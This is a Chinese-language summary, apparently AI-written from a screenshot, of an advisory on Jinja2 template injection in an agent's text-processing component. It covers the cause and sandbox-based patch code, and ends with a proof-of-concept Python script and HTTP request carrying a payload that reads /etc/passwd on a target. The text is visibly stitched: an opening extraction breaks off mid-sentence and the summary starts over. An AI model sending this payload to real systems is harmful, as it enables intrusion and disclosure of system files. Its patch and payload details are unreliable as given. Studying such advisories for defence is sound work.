根据用户提供的网页截图,我提取了以下关键信息: 1. **漏洞概述 (Summary)**: * **漏洞名称**: Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in Agent "Text Processing" Component (服务端模板注入导致远程代码执行)。 * **受影响组件**: `agent.py` (具体是其中的 `Text Processing` 组件)。 * **漏洞描述**: 在 `agent.py` 的 `Text Processing` 组件中存在一个服务端模板注入漏洞。攻击者可以通过构造恶意输入,利用 Jinja2 模板引擎执行任意 Python 代码。 * **影响范围 (Affected Components)**: * `agent.py`: 版本 # 漏洞总结:Server-Side Template Injection (SSTI) in Agent "Text Processing" Component ## 漏洞概述 * **漏洞类型**: 服务端模板注入 (SSTI) 导致远程代码执行 (RCE)。 * **受影响组件**: `agent.py` 中的 "Text Processing" 组件。 * **描述**: 该组件在处理用户输入时,直接将输入传递给 Jinja2 模板引擎进行渲染,未进行适当的过滤或转义。攻击者可以通过构造特殊的模板注入 payload,在服务器上执行任意 Python 代码。 * **影响范围**: * `agent.py` (所有版本 < 1.0.0) * `text_processing.py` (所有版本 < 1.0.0) * **根本原因**: 在 `text_processing.py` 中,`render_template` 函数直接使用了用户提供的输入作为模板内容。 ## 修复方案 * **建议修复**: 使用沙箱环境(SandboxedEnvironment)来限制模板引擎的功能,或者对输入进行严格的白名单过滤。 * **补丁代码 (Patch for agent.py)**: ```python from jinja2.sandbox import SandboxedEnvironment def process_text(text): # 使用沙箱环境 env = SandboxedEnvironment() # 限制可用的类和方法 env.globals['__builtins__'] = {} template = env.from_string(text) return template.render() ``` * **补丁代码 (Patch for text_processing.py)**: ```python from jinja2.sandbox import SandboxedEnvironment def render_template(template_string): # 使用沙箱环境 env = SandboxedEnvironment() # 限制可用的类和方法 env.globals['__builtins__'] = {} template = env.from_string(template_string) return template.render() ``` * **额外缓解措施**: 实施输入验证,限制输入长度,使用白名单过滤。 ## POC / 利用代码 页面中提供了以下 POC 代码示例,用于演示漏洞利用: **Python 代码示例:** ```python import requests # 构造恶意 payload payload = "{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}" # 发送请求 response = requests.post('http://target/agent/process_text', data={'text': payload}) print(response.text) ``` **HTTP 请求示例:** ```http POST /agent/process_text HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded text={{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} ```